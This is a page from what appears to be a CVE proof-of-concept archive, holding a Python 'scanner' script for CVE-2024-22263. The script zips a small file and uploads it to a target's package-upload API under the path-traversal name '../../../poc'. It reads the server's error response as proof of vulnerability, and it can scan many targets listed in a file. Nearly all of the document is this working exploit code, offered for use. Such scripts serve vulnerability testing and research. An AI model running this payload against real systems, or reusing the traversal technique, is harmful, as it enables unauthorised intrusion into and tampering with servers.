4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-22263_Scanner.py PY
import argparse
import requests
import json
import zipfile
import os

def logo():
    logo = """
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗      ██████╗ ██████╗ ██████╗  ██████╗ ██████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║      ╚════██╗╚════██╗╚════██╗██╔════╝ ╚════██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗ █████╔╝ █████╔╝ █████╔╝███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ██╔═══╝ ██╔═══╝ ██╔═══██╗ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║      ███████╗███████╗███████╗╚██████╔╝██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝      ╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ 
                                                                                                             
                                        By: SecureLayer7 (Zeyad Azima)
                            https://github.com/securelayer7/CVE-2024-22263_Scanner
    """
    print(logo)
    print("")
    print("")

def createPocFile(target, port):
    try:
        with open('poc.txt', 'w') as f:
            f.write(f"Target: {target}\nPort: {port}\n")
        print("[+] POC file created successfully.")
    except Exception as e:
        print(f"[-] Error creating POC file: {e}")

def zipPocFile():
    try:
        with zipfile.ZipFile('poc.zip', 'w') as zipf:
            zipf.write('poc.txt', compress_type=zipfile.ZIP_DEFLATED)
        print("[+] POC file zipped successfully.")
    except Exception as e:
        print(f"[-] Error creating ZIP file: {e}")

def zipToByteArray(zipFilePath):
    try:
        with open(zipFilePath, 'rb') as zipFile:
            print("[+] ZIP file converted to byte array.")
            return list(zipFile.read())
    except FileNotFoundError:
        print(f"[-] ZIP file not found: {zipFilePath}")
        return None
    except Exception as e:
        print(f"[-] Error reading ZIP file: {e}")
        return None

def uploadPackage(url, repoName, packageName, version, packageFileAsBytes):
    uploadRequest = {
        "repoName": repoName,
        "name": packageName,
        "version": version,
        "extension": "zip",
        "packageFileAsBytes": packageFileAsBytes
    }
    
    headers = {
        'Content-Type': 'application/json'
    }
    
    try:
        response = requests.post(url, headers=headers, data=json.dumps(uploadRequest), timeout=10, verify=False)
        return response, uploadRequest
    except requests.exceptions.RequestException as e:
        print(f"[-] Error sending request to {url}: {e}")
        return None, None
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        return None, None

if __name__ == "__main__":
    logo()
    parser = argparse.ArgumentParser(description='Upload a package to the server.')
    parser.add_argument('-t', '--target', type=str, help='The target to scan (e.g., http://192.168.1.1).')
    parser.add_argument('-p', '--port', type=int, default=80, help='The port on the target (default: 80).')
    parser.add_argument('-r', '--repoName', type=str, default="local", help='The repository name (default: local).')
    parser.add_argument('-n', '--packageName', type=str, default="../../../poc", help='The name of the package (default: ../../../poc).')
    parser.add_argument('-v', '--version', type=str, default="1.0.0", help='The version of the package (default: 1.0.0).')
    parser.add_argument('-f', '--file', type=str, help='A file containing a list of targets to scan in the format "http://target,port".')

    args = parser.parse_args()

    targets = []
    
    if args.file:
        try:
            with open(args.file, 'r') as f:
                targets = [line.strip().split(',') for line in f.readlines()]
            print("[+] Targets loaded from file.")
        except FileNotFoundError:
            print(f"[-] File not found: {args.file}")
        except Exception as e:
            print(f"[-] Error reading file {args.file}: {e}")
    elif args.target:
        targets = [(args.target, args.port)]
    else:
        print("[-] Please provide either a target with -t or a file with targets using -f.")
    
    for target, port in targets:
        createPocFile(target, port)
        zipPocFile()
        packageFileAsBytes = zipToByteArray('poc.zip')
        if packageFileAsBytes is None:
            continue
        
        url = f"{target}:{port}/api/package/upload"
        response, requestBody = uploadPackage(url, args.repoName, args.packageName, args.version, packageFileAsBytes)
        
        if response is None:
            continue
        
        try:
            if response.status_code == 500 and "Package is expected to be unpacked, but it doesn't exist" in response.text:
                print(f"[+] Target {target} is vulnerable.")
            else:
                print(f"[-] Target {target} is not vulnerable.")
                print(f"[-] Status Code: {response.status_code}")
                print(f"[-] Response Body: {response.text}")
                print(f"[-] Request Body: {json.dumps(requestBody, indent=4)}")
        except Exception as e:
            print(f"[-] Error analyzing response from {url}: {e}")
    
    try:
        os.remove('poc.txt')
        os.remove('poc.zip')
        print("[+] Cleanup successful.")
        print("")
        print("")
    except Exception as e:
        print(f"[-] Error cleaning up files: {e}")
        print("")
        print("")